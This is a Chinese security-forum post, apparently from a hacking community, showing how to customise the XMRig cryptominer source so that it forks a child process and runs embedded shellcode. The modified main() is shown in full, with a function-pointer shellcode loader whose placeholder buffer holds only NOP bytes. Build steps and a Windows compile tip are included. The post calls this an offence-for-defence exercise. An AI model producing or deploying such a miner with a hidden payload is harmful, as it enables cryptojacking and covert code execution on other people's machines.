xmrig v2.16.0-beta定制功能

起因

新的季度已经开始,可是仍旧没有想好文章的方向,于是在90sec和t00ls的QQ群征集文章内容,最后只收到了两个,一个是月表已经说了很久的xmrig定制功能,另一个是我手头已经改好的bypass av,本来是准备发bypass av的,但是那个时间有点久远(2017爆出的显卡驱动漏洞)而且比较鸡肋(显卡驱动、windows版本都有要求),貌似网上已经有改好的源码,部分av厂商也已经做了防范,所以最后选择了xrmig定制功能,根据月表的需求的是希望内置一段shellcode,于是就有了下文,理由依旧这么牵强。

准备工作

首次编译

由于这次的功能需要上线测试,所以就没有在本机编译,而是专门准备了一台Ubuntu 16.04的虚拟机,根据官方github提供的编译命令,如下所示,各位表哥根据自己的实际情况在xmrig编译命令中选用合适的命令。

sudo apt-get install git build-essential cmake libuv1-dev libmicrohttpd-dev libssl-dev
git clone https://github.com/xmrig/xmrig.git
cd xmrig
mkdir build
cd build
cmake ..
make

如果使用跟文章相同的版本,在试用上述命令进行首次编译时会出现Could NOT find RANDOMX (missing: RANDOMX_LIBRARY RANDOMX_INCLUDE_DIR)这个错误,淡定从容莫慌张,使用cmake .. -DWITH_RANDOMX=OFF命令即可解决。

源码修改

修改前src/xmrig.cpp的代码,如下所示。

#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"


int main(int argc, char **argv) {
    using namespace xmrig;

    Process process(argc, argv);
    const Entry::Id entry = Entry::get(process);
    if (entry) {
        return Entry::exec(process, entry);
    }

    App app(&process);

    return app.exec();
}

修改后src/xmrig.cpp的代码,如下所示。

#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>


int main(int argc, char **argv) {
    pid_t pid;
    pid=fork();
    if(pid < 0) {
        printf("error in fork!");
    } else if(pid == 0) {
        const void *buf = malloc(400);
        buf = 
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
        ((void(*)())buf)();
    } else {
        using namespace xmrig;

        Process process(argc, argv);
        const Entry::Id entry = Entry::get(process);
        if (entry) {
            return Entry::exec(process, entry);
        }

        App app(&process);

        return app.exec();
    }
    return 0;
}

总结

就几行代码,其实没有什么技术问题,只是提供一种思路,不知攻焉知防,“知攻”不应该只是嘴上说说,张口CVE,闭嘴EXP,“知防”不应该只是限定于目之所及,做最坏的打算,尽最大的努力,才有最好的结果。

瞎扯淡

  • 不知从什么时候开始对二进制产生了兴趣,月初开始自学,遇到各种问题难以解决,不是问题太难,而是问题太奇葩,恰逢一表哥,愿意答疑解惑,学习中遇到的问题得以解决,深表感谢。

  • 这个季度如果不出意外的话应该会一直学习二进制相关的知识,入门水深,且行且珍惜。

  • 人生如果没有目标,便会迷失方向;迷失方向,便会找到一个不曾有人找到的方向。

  • 至于下个季度的文章内容,随缘吧。

在VS中编译 ,应该要将 #include <unistd.h> 这行修改为
#ifndef _UNISTD_H

#define _UNISTD_H
#include <io.h>
#include <process.h>
#endif /* _UNISTD_H */